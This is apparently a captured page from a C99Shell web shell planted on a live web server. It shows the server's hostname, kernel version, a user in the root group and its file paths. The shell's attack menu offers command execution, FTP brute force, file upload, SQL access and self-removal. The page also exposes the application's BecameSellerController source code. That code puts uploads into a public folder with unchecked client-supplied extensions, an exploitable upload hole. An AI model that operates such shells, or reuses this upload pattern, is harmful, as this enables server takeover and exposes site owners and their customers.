!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BecameSellerController.php (3.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\BecameReseller;
use 
App\Models\Plan;
use 
Illuminate\Http\Request;


class 
BecameSellerController extends Controller
{
    public function 
create()
    {
        
$customer=auth('customer')->user();
        if(
$customer->type=='normal'){
            
$currentPlan=Plan::where('id',$customer->plan->plan_id)->first();
            if(
$currentPlan && $currentPlan->is_reseller=='no'){
                return 
redirect()->route('customer.billing.reseller.plan');

            }
        }
        
$data['resellerRequest'] = BecameReseller::where('customer_id'$customer->id)->first();
        return 
view('became_seller.create'$data);
    }

    public function 
store(Request $request)
    {
        
$resellerRequest BecameReseller::where('customer_id'auth('customer')->user()->id)->first();
//        if($resellerRequest || $resellerRequest->status !='pending'){
//            return  redirect()->route('customer.dashboard')->withErrors(['failed'=>'You already submitted request']);
//        }
        
$request->validate([
            
'city' => 'required',
            
'address' => 'required',
            
'country' => 'required',
            
'zip_code' => 'required',
            
'nid_card' => 'required',
            
'td_license' => 'required',
            
'picture' => 'required',
        ]);

        
$uniqueName auth('customer')->user()->first_name '-' auth('customer')->user()->id;
        if (
$request->hasFile('nid_card')) {
            
$file $request->file('nid_card');
            
$imageName $uniqueName '-nid-card-' time() . '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads/reseller'), $imageName);
            
$nid_card $imageName;
        }

        if (
$request->hasFile('td_license')) {
            
$file $request->file('td_license');
            
$imageName $uniqueName '-td-license-' time() . '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads/reseller'), $imageName);
            
$td_license $imageName;
        }
        if (
$request->hasFile('picture')) {
            
$file $request->file('picture');
            
$imageName $uniqueName '-picture-' time() . '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads/reseller'), $imageName);
            
$picture $imageName;
        }

        
$attachedData = [
            
'nid_card' => $nid_card,
            
'picture' => $picture,
            
'td_license' => $td_license
        
];
        if (
$resellerRequest && $resellerRequest->status=='rejected') {
            
$reseller $resellerRequest;
        } else {
            
$reseller = new BecameReseller();
        }

        
$reseller->customer_id auth('customer')->user()->id;
        
$reseller->city $request->city;
        
$reseller->address $request->address;
        
$reseller->country $request->country;
        
$reseller->zip_code $request->zip_code;
        
$reseller->status 'pending';
        
$reseller->documents json_encode($attachedData);
        
$reseller->save();

        return 
redirect()->route('customer.dashboard')->with('success''Became a reseller form successfully submitted, wait until approved');
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--